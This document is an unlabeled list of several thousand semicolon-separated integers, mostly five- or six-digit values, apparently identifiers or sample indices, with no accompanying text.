103374;34224;44243;100544;47874;57612;59058;40084;56521;56655;49902;38008;10173;81066;40067;78964;57404;65233;42008;34763;90799;51020;103063;69097;65214;104114;97871;30496;26558;32798;82303;20840;24469;15201;13952;16126;79744;66609;50927;91765;48656;54358;104428;71090;49391;72723;39708;100331;26128;23866;31539;95038;105036;20466;44200;30671;28170;71726;40695;10746;28175;63639;82978;59501;26687;49459;36490;27469;102297;71269;41884;71113;95487;27329;25071;68005;93887;60218;82224;18651;80878;103388;80249;44940;47605;45687;102698;24213;67815;40419;34339;73223;50022;80057;64301;25220;41189;12887;72462;106904;30492;57933;90545;17795;68714;26532;92092;55658;20173;27191;38820;62804;102071;31070;95701;65875;92853;80458;102979;96854;46890;51198;15144;79166;10256;12008;106937;58999;15077;67354;73156;42646;94098;53352;26275;42619;74921;104064;55845;86044;32821;13862;44411;11378;57158;40985;80402;53777;91764;82090;22123;70587;72600;64309;63738;71377;72282;102380;39414;38432;86945;12773;100789;18825;86789;12750;76423;65679;71292;74253;58316;85020;33249;103682;39127;59812;41288;55539;75201;34212;73799;66890;88818;66397;30998;97120;75130;92249;57548;65116;29542;52162;13535;22541;89658;65010;102492;76529;17093;90295;24143;77921;83613;22201;24502;47482;28451;102348;18125;79402;85063;95035;86005;97459;30906;72147;99981;17032;71704;85098;17702;49453;56675;84685;23310;11865;11479;25969;10110;87566;97994;82730;78852;75056;59642;92340;105432;70660;42945;74787;26241;82693;26239;22689;30295;45108;70340;34749;52988;57761;28253;97555;28086;25362;66499;85669;71931;68661;24687;49847;51801;94295;68571;79074;73917;44735;69701;104149;56176;95336;35780;94937;87030;43790;46745;69130;55040;96980;57243;35198;55402;102021;104247;12081;33442;77583;76385;13067;61028;41007;49478;91957;87590;60763;76596;83968;26125;34619;86448;31578;62663;84571;106945;41073;48726;53844;93221;79584;36577;67791;66158;31846;79588;17560;29612;30585;11679;73554;11328;103719;27752;14879;82803;65708;85161;78477;16619;37591;40403;77484;67369;83135;27601;91574;31222;27033;31613;34423;17264;67764;28946;84919;24325;41343;87247;62286;82580;35551;103844;89707;58956;28483;27331;56053;64746;12043;21268;45039;16719;52940;43011;95669;72010;44939;94535;43738;20977;11894;39972;99987;33363;38837;29740;35057;12549;76845;25336;105581;63455;57700;45595;52642;77503;60660;78990;24481;103905;104126;105427;83879;62866;90204;75648;83118;27176;89459;50207;70643;28612;80164;95388;79537;79485;87027;96681;38330;39467;88696;57240;34356;75931;61364;64674;17219;77256;76966;58655;101981;63019;53442;17696;55811;85204;60333;46778;48433;61833;58074;30831;40246;28969;12901;55953;96567;60661;61915;95821;66709;71411;31142;66411;27770;50907;20430;54989;90515;40885;39985;36507;50850;77658;57527;18740;77551;16717;90409;32328;53003;28120;104021;14128;50443;54068;57212;53274;14691;76194;32434;101951;44309;63512;29502;44086;64913;69242;105984;55675;97728;65144;23229;68124;22360;11696;15827;90238;47404;64638;84368;105552;25484;94031;54246;49336;34412;25365;85385;33593;73886;20298;34646;41244;74024;26169;63352;80193;42829;70259;99134;72177;31941;28734;90918;102601;72126;78175;66386;64478;55014;37473;25008;74647;71724;84290;94783;41800;30884;32555;31588;80012;70345;49725;77496;57355;95375;57279;104873;103414;12740;11761;48786;72879;54067;60776;14656;11271;47162;40060;12979;33987;49840;95639;72755;37238;36943;89745;72739;58218;59961;27019;95469;68060;50691;45474;73783;52628;25619;74245;72111;30126;42678;32861;28375;31878;104629;90500;61340;60765;87967;19208;41320;39618;57029;16183;44657;26988;80013;80209;55740;55230;20579;101911;84328;90415;25214;70628;13173;43934;25656;92821;47762;19198;16029;95666;22908;57684;97078;16990;49458;99168;102948;59806;47411;69732;30739;90707;74514;38469;45249;33474;106317;64220;53199;99130;71028;79218;56317;23137;100901;31206;99352;97808;72033;37157;27638;50744;17764;72530;45986;74690;50485;32454;74840;17491;101642;42511;88016;92836;67722;66507;96505;95573;61500;47412;99711;33197;89389;54010;27928;50860;75014;23716;54614;104991;87632;45761;13417;46299;25721;15852;50499;32217;71202;83281;91804;39652;27096;11867;16162;50336;39687;42388;15566;36644;78550;75996;36140;42234;39200;96000;75569;106249;58968;63005;102446;31458;29429;66994;66337;93318;88779;87363;20365;39699;23158;57273;92118;103081;25385;50085;50895;35824;11502;106103;79568;95325;62782;85306;29142;97609;99412;62270;105000;30718;22448;32277;41531;25267;58734;66388;13524;18688;24273;67546;93431;97340;11054;93869;77541;62881;103352;14235;30881;99876;59615;36219;106714;41918;83403;31336;92944;26964;26104;34730;11406;84701;78197;97084;41931;53845;95406;33901;41715;77712;84603;97683;57306;54593;56626;31268;47212;104909;74716;80266;71723;24910;89456;53946;49832;93272;26996;80094;71824;36964;33903;37378;27043;93405;47825;29596;77843;60581;67506;70505;101751;22386;92681;64141;80727;35344;50129;74995;62631;14903;83645;84376;32921;49903;80718;56621;24986;21638;24594;66987;39436;24023;27083;33375;94219;40563;94985;41983;62029;33861;21894;62794;94256;52545;37783;16104;101490;96871;13541;74466;34095;40950;51018;59564;28103;91665;48286;83454;85691;78409;106359;43714;63647;41273;27619;50390;93277;21281;19343;71316;73110;13221;99146;25936;53961;46775;90556;69592;29041;90176;76331;27976;44932;85467;101294;100667;71055;53053;12921;12767;12355;34471;54307;84043;25577;67810;105360;55692;19772;65067;27895;36832;81058;100405;58450;11114;23402;106226;82613;60050;30657;22378;86531;31669;95290;85209;76225;33457;42970;74505;85174;36058;27508;12012;65609;50467;97009;12729;102604;42474;97825;87618;84473;58742;23909;93880;80375;13625;105182;32010;20021;77394;78190;11392;97248;50515;31064;23458;37946;67704;76537;30774;61276;66538;68713;17769;73610;60359;12444;79449;200094;40096;23843;25677;32181;31111;71283;99215;70948;56833;31172;32244;42476;23461;22775;10675;68968;34958;26543;26292;15748;99579;80635;82732;14819;94870;34866;46009;107019;94726;73936;26775;22459;82606;55387;22128;67674;45490;50833;37521;99267;23433;23794;107138;61739;34934;47050;86844;94704;101699;25844;35187;47092;20458;102326;63388;91726;20978;86071;61779;53125;48610;11601;106097;37120;79861;62491;89352;55412;99026;54485;40258;13484;14200;36468;68402;86374;49000;91734;52398;10483;66671;25867;101874;65467;79288;35812;54102;50734;81801;68462;43863;89222;97000;44891;81390;103786;69085;45771;30996;73443;59082;54200;34854;10006;97725;36145;89772;29210;56807;38365;33106;23446;200018;62796;80519;36144;56308;15536;43940;81398;48637;87403;18668;89061;62198;29379;56250;62521;69339;104469;71792;26206;93350;74149;79070;21013;46955;75886;68153;84404;56796;83718;12344;40623;60860;73756;86417;45542;17525;83910;89449;80996;43962;34985;27971;79713;37994;95825;34121;73740;89550;100739;87075;105004;106566;57639;93811;73859;94685;33822;44089;68687;54317;35590;72266;103767;12371;32205;15097;44783;74255;103635;104448;25848;95712;106391;59835;78663;89370;43371;30050;55757;57379;80593;94687;38352;28794;87529;41356;31484;17121;58871;90579;14698;81515;75715;23305;104373;53608;85043;41502;18441;31343;68855;102544;70276;93783;81715;13676;60801;38376;30814;83612;53669;60543;12447;105511;75367;65644;51501;90683;34332;51733;60620;107058;79297;45926;18328;92683;85640;96326;35749;20489;27118;95319;22312;82102;33995;63614;91666;68480;57487;31569;24937;50105;12788;37029;104446;61629;99658;81996;26576;35861;64293;23747;40843;10904;26359;85952;29099;25770;71514;18784;64115;12108;17198;61649;40748;26813;77803;17638;17140;36641;73563;63425;67932;105954;102267;82496;19286;70689;81655;21025;74829;15869;101657;52737;43689;102394;41889;11191;73095;79691;60807;59325;102298;46552;20380;67863;102295;51935;77974;75535;94623;29869;80500;34413;84945;66724;107050;74598;16331;18039;58210;14772;83086;69691;49970;90595;23374;38706;36780;53968;99771;18647;32806;10914;104039;103505;11137;75667;10934;63250;22767;44338;92789;33625;51984;101295;13250;35779;20455;60875;32343;15357;49066;27946;10938;46439;99439;63348;87040;59853;60163;45395;86972;91386;56717;51648;81340;26906;104345;72971;106591;23892;11453;105137;73704;34566;94744;31280;105265;84622;42758;34524;19004;106520;13292;72060;34678;35333;48268;48809;87823;99489;57892;52631;29680;34960;36653;31806;20137;55360;53501;14525;14446;88805;83397;31636;10079;41739;40541;12888;15670;18717;83260;34211;33259;33354;36297;69856;81753;103330;59000;75049;89040;30395;80846;74261;73819;13733;53263;13203;105196;46233;14073;47292;56598;80951;69148;14171;48390;77546;91647;14641;27163;67953;24581;82893;106530;23038;77312;91137;27626;34049;95732;74052;47030;71869;70803;36606;59769;28459;28341;84020;52368;72203;73502;57993;90659;48475;94151;16393;102822;37396;66714;51836;35349;74958;64823;12663;70832;52536;64630;13242;63901;89968;76560;10728;45219;21022;54368;54785;60255;67118;20469;40873;76542;97473;105798;45442;28629;82525;55029;31960;18891;90965;44426;89748;53623;46264;40736;54319;76167;80630;106052;57159;74589;19538;71581;67181;93473;100502;15698;95612;45374;96677;93346;48998;23797;96359;86223;38806;44841;52710;32790;20643;105175;12885;80955;43644;44478;67158;10901;56968;94573;68247;82344;67316;88872;56041;73175;93944;45445;106257;79585;93686;59162;32754;100567;11106;34632;36670;71383;34116;19507;31890;92757;53590;101754;53559;32824;28977;90753;64858;71805;93564;89567;85448;45010;61123;79502;91147;15656;32121;56329;99628;99870;28252;26487;94161;13746;14187;85005;85798;73631;53437;44184;28764;30421;91565;40146;65635;30107;36439;37531;49876;106900;86901;73531;53657;40782;14138;97637;39775;55389;19464;27114;27630;12552;45371;78095;100947;97450;16730;18951;18176;104939;90399;43169;71852;45475;72681;80609;73270;24448;69796;40341;26048;54318;83584;44419;21400;69698;53889;64754;35553;94269;26577;74199;47525;14400;75847;96548;13850;45049;32288;43906;13287;15890;59072;23190;80129;56788;101476;40468;96464;61073;84648;54284;43563;20222;97618;88713;28208;11646;73750;63175;43447;105761;25498;16737;84011;41332;23203;94770;90541;11530;83208;87174;99437;40280;62924;103891;28905;70020;78068;42066;72077;50718;43585;17739;37406;17654;96873;84182;104834;89627;89948;65160;59810;58843;86234;79706;17003;48391;87434;99484;88024;22873;97371;10439;71258;70262;38963;52176;91008;45563;17055;12210;29554;13209;25131;76627;45408;12869;10402;13670;35145;94505;38179;103491;103609;56999;27074;32453;44561;100982;24746;83629;39808;48872;40259;24572;15092;35835;40719;78827;50070;95453;20060;68019;74104;50432;78063;85287;74288;105916;104263;34395;20864;62856;101654;65801;84654;76376;77797;68988;45429;75474;20759;15641;35614;105013;91352;54403;92863;96685;10564;25657;32282;73130;77432;63032;37225;66697;63824;34647;13800;78949;64093;19118;97633;97828;87861;101569;71414;35421;17009;18971;79221;60451;51713;54015;43270;43534;77206;55922;74868;73140;47021;61426;95449;50158;34573;103369;52222;39201;40744;57068;44751;13283;32074;88874;86807;17147;30577;59471;59967;106242;86715;68294;58694;67900;88561;69060;74701;86149;74810;52999;38740;51429;89744;91407;15245;27380;49770;48835;42773;17467;92255;41613;27445;41452;41263;94084;37101;44395;26972;10374;51729;200096;47499;33635;83302;99179;89843;66196;80720;77073;57924;92563;76289;50985;48940;43822;94346;84826;48919;29631;67798;97759;45759;95426;34439;71502;97353;44390;13476;42092;36174;51290;58992;49650;91550;28507;64629;82537;76245;83828;58182;100671;19129;72674;82510;21456;56358;49967;90290;69608;97074;69636;48481;95727;83527;64951;26501;61423;78541;94217;93256;92553;56209;35794;43543;32262;71051;76934;63289;56474;48256;71842;72167;91139;66336;37719;95482;97983;88087;75368;72688;52871;47624;94072;35748;20209;73932;12515;55294;54156;105756;66785;90065;44623;80120;15976;102427;47787;85333;61782;86474;55543;29341;26834;96672;77105;68886;64681;24649;35267;57533;41516;57555;58633;89839;44215;22883;93098;82083;38470;28660;75788;79027;75301;107092;20546;33214;103688;85786;79105;85553;45068;29538;15662;58459;92774;68888;16746;78606;36501;74712;99670;94833;86390;92893;76863;55382;39583;26189;88780;103154;85665;77373;90132;22715;87827;83588;43149;104798;23635;19777;59857;105081;52411;41890;12786;87828;72921;59689;65161;60915;71367;83445;101139;10400;65194;15104;34469;33440;106918;23699;40379;92819;17207;77225;91564;60166;22327;61443;93264;76393;75181;15689;19831;73134;76219;32752;86276;27180;85857;22660;84154;76510;18845;17122;14907;95772;103290;45627;80866;48651;84220;33852;69204;24176;54136;105142;12657;56954;72204;22064;61395;34857;41201;92643;23523;13422;74581;52747;104679;36908;60544;70002;29236;20655;75523;41011;101880;64040;84637;55875;44669;31430;27795;61438;50792;69369;73549;73659;77605;100790;43661;28109;69872;84533;100100;52026;72890;83031;35752;32264;60644;66615;31633;85452;84625;76519;70010;59079;88795;83338;22697;88683;200036;83505;48260;58453;106951;59206;84989;62871;44509;39062;79254;66958;101882;61874;90951;80689;97714;20878;88064;102931;57303;44591;23882;59990;39401;85377;103753;26297;95362;90125;21508;53185;60853;17616;19973;47475;18046;41786;41761;75874;89864;67589;21848;45540;24466;91961;67371;101878;86850;20677;43082;58916;23188;80657;105195;77303;81590;103508;15042;43473;100178;31102;93270;40277;91076;93680;102509;102183;29125;63596;90214;32057;70512;53406;50496;73291;13265;47036;89724;92564;39197;48531;103380;14079;10282;38878;30374;80697;60271;36801;49892;30980;85194;97895;19540;10214;35606;60829;56484;11614;42399;10133;21577;59508;13232;24897;49779;76457;25026;36969;30695;64412;78272;96730;43945;32848;74901;76568;51176;70278;86243;16207;34054;73179;69371;103282;15861;56907;33594;82708;104379;29882;10614;83157;24936;71184;53785;12637;25655;90734;36738;93809;87985;92019;87352;95435;33224;11562;39714;29453;75207;26657;66548;48202;72922;20432;70910;96885;99315;89752;25106;28750;87586;91289;95276;74805;200142;61504;54482;63541;67724;54138;13282;20801;22491;44805;44060;60519;89156;83146;23791;10522;55010;87746;44702;89488;66435;35067;26472;17399;62812;42597;54960;37680;14896;30882;81934;101962;55297;65685;64737;43069;20694;107024;54191;31012;43877;24222;33505;27697;61019;90479;47794;81407;52185;26874;36195;101684;66893;72163;60766;42729;12760;74908;96908;55566;68980;58428;27092;23145;54975;46483;83568;76237;15466;44921;36963;76124;89195;28035;67174;20764;31401;66663;22215;46527;68321;105390;50099;73092;90755;49693;45667;28659;19214;106844;36497;74117;89435;77862;22412;43300;94073;21866;80954;15955;18986;100531;65604;76302;89252;23846;38321;12891;25084;83996;35236;30290;77418;54561;77728;50697;93372;15619;73151;39664;58334;71547;105403;46991;87263;92030;86833;95538;67996;34737;78277;52848;57220;64959;78130;17821;38200;16398;57003;51029;77014;52713;97556;45755;60468;72419;39192;20850;104360;53960;61323;102715;56285;41653;88951;19928;57107;50156;48881;37610;84090;92103;20288;41937;32745;41043;92644;55284;73920;23122;64023;18396;105215;95969;55340;90015;35951;81067;52661;56950;11306;91872;29302;88534;29027;11284;10310;103681;103000;55468;14066;85994;61633;54514;33652;77878;65060;15093;92604;92629;92894;50160;25847;80434;73025;71896;60751;101758;34380;49413;44510;28576;47522;103675;15713;10565;94591;33778;74954;74602;97442;27205;28355;14843;90282;50933;107087;57647;35116;65126;41614;65112;44545;63481;36890;25634;56953;60122;26188;94817;85827;49594;46662;42458;56240;101242;97943;87732;64046;59408;37509;63305;39745;69259;37304;31250;30680;44542;92524;46033;17007;22454;11199;72572;56467;90650;30302;71612;37022;57855;86444;62341;12922;66555;34532;35261;48337;73621;57428;81833;91859;101301;43608;47461;91789;74184;59860;46499;105686;106019;105825;62184;60289;16731;34976;47028;61182;19913;58713;90806;45969;60610;10207;51573;104284;43387;44764;81554;78279;60412;22816;103216;89509;89368;56952;99664;85353;43491;70881;48257;54212;49935;31792;50384;66390;40693;41265;75038;81445;90478;99045;104028;62884;101068;56677;19410;68325;106988;44217;30000;79203;32753;59057;97145;105539;97293;16156;78584;11616;23372;105509;67430;36601;66814;25716;65353;17090;36518;70057;69359;39608;91507;41680;13453;36093;72416;34407;60219;100495;24901;55300;14724;97429;79791;33973;45411;97693;15862;66572;93162;33497;42086;43152;49050;52306;200025;58997;86213;56266;103496;31818;52852;77130;78615;26392;51918;43060;81810;64535;61602;80528;45816;29071;85259;53449;17408;90904;84518;67517;57655;46007;60382;85112;96206;31417;55299;43437;29411;17541;19008;83210;86514;85799;59134;45710;76752;61119;31296;36231;102718;54783;93306;70766;99955;35016;85454;43565;23816;67502;87446;74706;44951;23184;17010;47728;40183;88736;81252;93428;33521;91579;23595;28578;51434;48295;46939;33879;44023;37486;107039;85557;37344;58341;100215;26676;51924;61750;22669;14616;39580;34326;68119;103594;67144;68499;76638;40962;49485;68112;26278;29084;63520;34606;33173;44505;102581;67838;46501;28148;42930;83945;35352;90390;104264;57080;31725;83630;78943;53371;101652;94923;88108;35785;50299;106665;70985;45262;102661;16832;51351;87176;80373;40687;22394;75985;77846;78978;87887;78137;69997;27909;54943;55504;72316;20874;66577;80217;90258;46556;83491;101221;66936;52895;68169;86506;93747;97328;24643;78319;49534;96301;39429;62859;97198;71595;55744;47363;87267;75920;40056;57850;33098;94664;83488;82062;92320;73694;90689;69180;55793;103916;54730;84224;34732;89208;102927;81548;24286;29489;97375;76082;29248;13290;86048;29683;12047;92291;53076;90054;29910;22515;81670;21839;63725;41350;200067;35725;60161;38075;31452;40021;20752;22587;99262;13252;60968;106024;57325;50439;81825;104416;77350;55904;106318;41813;29443;52594;81939;22893;82802;103135;56415;34609;75724;36409;21933;28028;34029;73916;103697;80647;59177;17162;51892;56522;37348;18760;79442;74132;86936;104002;10928;97231;49785;34764;101919;47202;59309;13471;44153;13368;60677;28330;47015;38499;28112;99245;86830;36948;99678;59914;35177;59055;62217;95275;60157;13890;51889;78310;45853;97601;42078;64576;68407;200076;14132;14872;92221;17275;38907;30358;82899;78637;36063;50284;77855;75186;16425;43826;58740;29818;92209;42493;105393;21734;41790;46435;91878;91010;71446;99621;91644;54226;15563;32079;45854;16668;88941;19748;18573;74516;94980;75208;89634;66308;29981;60182;26268;29475;97653;23894;105884;73674;77386;21175;48646;83132;50788;103376;76268;49393;29682;24191;85304;40370;40440;20471;68537;27896;50291;45636;38222;26165;16927;104713;67969;43076;19104;93831;39644;107086;52892;86308;23592;99287;42492;92507;72830;66148;93879;93828;99603;50608;28502;63294;96389;18099;70200;84190;19993;103985;36694;25144;87417;52571;22238;86671;56991;94342;57920;38461;61165;90971;90542;87160;64797;68097;104564;47557;51577;44210;69394;47217;34862;28882;76759;79208;72260;74817;46035;31246;41168;23394;83068;43416;36764;44975;12647;50793;96436;59558;51109;84107;42259;26853;45705;20919;37772;87683;73609;99663;51072;40492;83667;46450;95587;81707;45051;48542;104137;103781;61512;13659;61774;91319;29716;45932;91058;22330;14109;26763;100638;91853;101508;12335;45406;80118;12225;25754;35621;39759;65370;75903;70833;79298;19488;56810;10613;86956;16064;106541;103814;17787;64223;88002;62300;61738;20502;103336;22389;30124;53272;20873;21541;77813;64619;48278;11088;61752;70627;41555;39382;72494;87960;54752;22372;24875;12601;81898;53270;99494;83886;91003;21153;105668;11844;91876;51982;80328;33956;27864;86090;62206;22264;22593;13446;10627;94246;77021;56992;76045;70790;69025;25337;14740;47243;32344;36608;52161;68656;77932;37979;59066;102385;82724;81191;33977;93290;90063;21622;91743;22679;46237;76192;81622;94741;67040;37346;43050;22331;46583;96447;23925;15336;23605;74350;106493;53235;84111;84554;77209;28976;56772;75773;14462;27724;24280;67548;101731;22039;26732;24864;42318;65880;10676;74496;83202;91467;20729;20169;45590;103978;19455;80789;69891;16401;107144;73691;86505;85415;45430;63023;11413;41326;12765;78162;51533;92253;56297;46839;70355;42839;75121;80140;106246;45098;74834;101314;33820;83266;15351;33110;42505;11035;10956;65967;18012;99200;97481;48417;89308;76314;26796;38260;89734;66325;50211;63602;56125;32407;39104;27143;83649;66174;86344;86268;43213;60541;27718;38678;25879;68223;100540;59106;68833;10300;68364;94944;11411;103600;11901;76984;54265;30431;79592;103020;33504;106478;95555;21697;76616;14962;58717;85208;68098;42157;84565;29285;71570;97269;15228;40750;77067;73045;72807;97290;37418;67321;80309;31227;86464;93451;10554;28425;44127;80426;60114;56233;20597;96603;58061;15723;20581;33894;12991;23076;11565;22853;54882;70935;106061;75252;53336;83259;15300;32788;65800;86534;43592;91573;97835;100412;72430;60821;44226;34363;85162;71585;70257;74106;46913;20741;71508;52663;59777;69272;29137;11897;75650;81246;11202;73132;80227;18182;33829;102973;40597;24621;52777;40369;55477;93488;79491;12577;25858;48471;33654;40374;104693;66569;22599;29460;79305;86561;25211;14475;65237;10260;56964;69342;64979;86429;73469;13069;82484;87114;99107;36663;99959;75989;12680;66944;18413;62174;56705;22777;97440;17306;66111;55983;97324;99594;39684;50923;45491;13517;68365;77372;104196;97941;62260;32741;70378;74565;16278;95012;63539;68265;77687;44746;30059;70320;88671;85281;34025;16160;15974;37212;105463;106895;53327;73949;14315;73215;61787;12684;42260;18872;103312;100127;10666;13931;46898;46424;45576;64628;68307;23714;102797;73143;10976;21900;102528;21094;19397;26623;26452;71274;27077;26759;50615;21958;63029;58695;43777;92843;37284;92602;68852;20468;103788;21411;77770;81409;53795;33873;67185;25623;61863;52457;70215;57688;37902;67913;46130;32155;85417;102522;61612;20416;57016;91539;73679;11900;24623;16933;19260;54025;44221;55661;91506;43866;32219;39531;35085;86489;57026;94497;25796;17014;74409;42091;23670;101916;47613;31195;101963;72628;104280;104383;39028;15387;93772;28315;33524;60865;26790;73768;97317;23772;77981;63729;14416;66422;93029;57488;46941;45261;42522;82766;103140;25223;16808;58629;103942;97991;103297;101108;19028;46016;68492;51023;75250;77494;48465;57460;106087;65147;59994;77056;65677;102597;32865;94195;53099;19257;34527;45359;61964;21242;25440;39614;40933;75058;15589;70343;57255;25647;26242;79021;95521;65259;73963;16633;56826;46203;19124;86330;21526;70295;34829;79204;60035;88594;72422;70346;105229;50277;18765;52543;78024;85228;49721;78206;102982;43748;34411;17062;26544;95265;49621;36727;30580;90513;102338;15432;65657;43506;97598;94030;59962;49742;92739;105964;80133;46520;35879;55431;11666;100001;70065;94680;43652;102134;92523;91547;69459;83352;73174;24837;79034;17981;13880;26660;23632;75399;77719;83152;58153;60753;96919;101649;71915;30461;26020;87520;103502;37943;45018;93764;99548;76601;69995;102606;102752;53956;47417;23391;30046;104225;19951;71428;52925;95467;55781;39628;80206;66708;85853;101701;59722;58976;11293;66501;49360;63062;99586;87106;103368;78519;44558;24668;14333;42671;92772;49993;81610;66744;55061;49228;69028;60591;60268;26921;21890;73178;38772;70349;64381;37067;66618;96269;76427;35089;69577;36082;59160;32213;59844;74924;47662;16796;96459;83421;46923;49765;22596;46617;105286;49256;68427;104637;72055;80712;58352;17313;101573;78507;25069;85153;95046;73435;37799;42901;18632;31938;24210;90000;94266;89579;53555;44710;29920;70961;55633;66611;39520;28498;63071;101574;89275;74201;29751;105544;23230;21356;10609;30716;88959;15996;38901;31765;20645;103567;46883;57182;93827;70412;11443;41678;36845;29913;89326;57252;86463;64276;13144;81196;20357;21451;97223;60849;75147;63607;67602;61851;47421;24135;95628;67947;21807;85532;96974;67553;100712;36977;14046;38807;61912;50414;75857;13248;77805;70074;28820;95989;23723;59968;73649;100591;73848;23704;29753;14432;84645;20101;91688;35743;79771;97326;84472;70969;27410;81430;67584;63361;32581;104295;81791;57715;22836;39102;78041;42974;10769;91237;35159;30892;88882;88718;71323;58452;17782;30216;93534;34623;64636;48647;35837;77313;31531;54883;20363;43254;30312;16309;104833;57183;20460;105449;74109;62133;69811;43044;48569;101424;62797;93126;104276;41026;43775;28991;65792;14455;48722;76064;14307;83978;81508;89305;55611;18638;89878;41742;67152;69868;90823;89972;32696;85473;10721;46870;69544;47247;36570;44141;18985;79069;29581;58692;38362;20377;51569;68299;47812;39415;21579;51854;62635;13682;34346;28181;105466;94115;76989;59222;102261;81201;76997;35930;102779;55260;64963;20119;42378;44853;49461;92807;85305;71537;104966;53713;92585;19485;92264;47328;102909;68154;30441;21067;60575;63959;40850;90557;61422;52880;48942;86027;65637;22719;28296;58224;74942;83894;52573;103434;84457;103145;88380;90520;39417;12429;72112;42039;13383;52317;31249;28278;86000;74988;78731;22900;74270;78362;62202;78950;57439;12031;62757;62986;76802;80931;17075;63636;14273;45322;96615;86499;46301;106948;44987;69440;76976;49353;93742;37249;97513;87750;15159;54046;32511;60759;51306;40266;47547;63022;38510;13195;78401;14862;73245;84939;32926;56443;96008;29592;69072;76515;61184;83249;83353;61037;18108;100183;104922;104095;39877;61038;26345;62989;25105;23601;59246;51589;16351;77414;46111;52076;33856;31512;88453;47699;18242;23586;34092;84815;94208;50419;61150;93423;20260;63472;10581;83182;38804;70142;60465;53817;94515;64914;69101;45465;62572;71056;92664;52989;48168;97452;73415;55668;24548;17970;74411;93354;84077;18121;73153;24712;77122;96645;22735;38040;62563;39529;18403;16960;28487;75012;47471;87913;87947;68441;83306;82129;96286;22498;31418;200137;22479;90191;90590;24878;60322;13984;105548;63155;100260;71889;95610;34107;67626;86654;103445;45700;86337;52518;66159;83733;32401;65435;77135;76146;76922;33567;59050;62956;68645;67156;69467;105282;71065;45260;37730;40014;60809;54595;30793;13345;66306;53464;103738;47138;70752;81974;70641;54003;105163;87703;60101;76961;95506;95036;28403;94634;105571;92440;73380;45751;41560;66955;18723;83916;16312;106028;45719;32995;29174;73321;64563;16158;89083;34641;100548;29791;80760;48313;51383;82277;101773;39788;40980;76311;104871;15990;87984;19195;100053;48228;33331;104703;81247;14617;36399;48366;56569;20369;81073;19256;23977;28226;95668;89321;18258;90916;42470;59343;57515;75265;73171;16241;90811;15049;84348;35881;26395;62793;90222;88525;41522;35229;88821;46191;45101;33812;20780;21827;90199;67552;17463;21445;15262;91877;101333;106373;90567;96217;87994;69173;75786;78426;78117;12366;18146;24125;76731;60453;25889;59933;69344;17351;61480;45053;64212;84135;12606;86256;60587;88680;97704;101162;27427;42820;49615;49495;99180;93900;101775;96340;99982;93164;61003;23970;25175;16040;87297;76092;54057;67680;73738;71385;85535;40634;44712;25283;87807;68465;56972;11264;44592;76474;60607;78513;61799;52739;75755;12434;33468;49953;53040;51914;29204;26553;83546;35207;83137;63904;61555;65180;62283;77595;24235;16897;68080;26941;62240;29889;88722;31189;72803;11341;56146;47257;33542;75994;67448;89802;71177;46139;105281;21775;58728;62104;61223;67916;33095;96121;19646;79332;74869;47449;32385;100898;86083;70048;79862;33759;106038;62038;56736;32368;32102;42651;34793;18476;85488;19904;70090;38561;44429;103710;39737;70483;76962;15287;12840;11917;96753;64048;93335;19891;97557;43280;96080;106079;82110;62405;97678;47251;29840;32249;30811;23125;20582;74857;86160;65425;34533;30584;76770;55775;69519;67110;27026;96803;58496;29863;99740;19362;53691;22591;90310;54353;38355;51162;84661;35287;65120;103033;76044;53787;78850;51177;21507;46123;60204;88113;44902;24686;33689;27282;49234;86743;68439;11382;104975;25126;67451;75036;37485;12540;11876;89595;42716;47062;101292;32749;22188;56024;56416;25356;24239;65876;88889;15509;72173;43354;17282;23500;72410;18330;13352;84133;46488;57103;85932;39557;106072;67920;39573;30935;97201;76344;103483;47444;42661;99769;50510;38584;66855;62173;90259;69142;39927;105832;32827;29317;67112;66754;35746;17570;16786;83731;79325;43669;30714;13154;88597;93077;101318;41395;12764;18880;47746;100068;51603;93167;92823;85494;19569;75638;76065;81849;60121;54789;41759;61096;92258;77445;27636;42498;83846;35317;83529;12687;32104;94079;31015;93852;75045;60985;56577;51080;88486;24564;52938;46992;103797;34614;93044;72168;77962;42727;75562;87986;60631;58400;20240;54617;49482;85804;78221;91677;41712;10768;26715;59996;61467;86007;51395;101853;88614;49982;76229;18961;22333;15023;86327;44403;47739;56236;71015;27051;23963;54798;78679;103653;83888;63264;31620;71688;72153;11498;80691;68512;40854;29668;34073;71892;46165;93762;97257;43979;56549;71025;32736;75842;10303;56010;59110;48363;84085;34404;84322;106402;36592;22486;56896;54348;103454;88005;43840;21166;64780;33094;95489;13679;74147;90147;90439;18645;18029;91227;49856;74269;66679;61596;41369;66718;82679;66399;29474;49126;22269;71921;30704;58416;101226;75898;62101;69751;94952;39892;71128;89324;39918;76363;64369;64251;31837;57827;10046;67779;43908;58389;75601;79902;74807;90403;68231;19114;47543;101274;50256;11878;86983;53482;101921;64751;52062;97833;19199;54363;51102;63236;52498;104649;44377;72142;91412;29700;40494;13028;36618;41071;27699;105254;69109;33799;80355;36842;37602;20259;43716;16175;93727;63147;16405;104506;51233;31726;58930;46831;93482;99076;90813;30570;28040;27459;66506;62457;79938;40184;85859;88715;33330;30316;16484;52986;52637;102868;22446;105187;42250;27585;78961;16444;34244;61077;77710;96480;10148;74804;23792;18749;59287;24033;65359;55605;27678;24134;85657;88550;45662;68547;53547;17327;79457;105402;44874;80232;47339;77664;68611;104847;78562;86146;102066;52106;10983;35595;48619;30595;13349;83173;37781;101995;62310;48644;48843;103878;69043;31129;97337;97320;76808;19716;18595;48500;36280;88763;49421;84057;14309;68588;85061;52337;89938;18058;31272;25472;54040;13008;22982;95315;105852;100050;11087;71264;38917;69645;59253;19098;74315;49140;25329;11560;65042;25914;96850;93838;50790;34812;14031;81882;26664;79110;19311;76349;16443;56292;65222;11044;42400;31040;77044;48663;33795;25865;70073;43946;81059;24148;97089;30384;79231;84225;30575;58487;32666;19854;46832;85131;21039;11946;82104;21767;56047;97319;69981;87151;69651;74162;93647;50429;58748;66952;88827;51367;72290;31128;77352;14863;44271;94572;12305;78098;20890;35862;41076;200043;24835;69604;75003;61346;42893;78828;46492;75112;79565;31929;35598;41341;28371;102835;104897;36808;69182;95999;21815;89991;65656;97289;35564;53195;55181;44493;27115;78642;73623;89984;82154;74146;43987;41382;22986;78523;56227;30765;61708;87167;25058;101622;11704;86409;37951;40401;65925;29244;105534;83084;96230;60369;52483;34079;14330;33268;43799;30754;99364;27892;61824;50239;17205;89793;87262;39342;72795;41973;41379;80243;95730;39444;37398;62721;32006;53953;68950;106040;24348;30812;45125;84630;52150;29029;102883;52312;66827;17028;27596;39162;20710;34071;25644;17827;55500;53602;103652;33281;102701;80400;74990;64745;66924;15043;22583;63134;58745;97399;19054;62686;90917;101592;91934;21471;52246;54173;27730;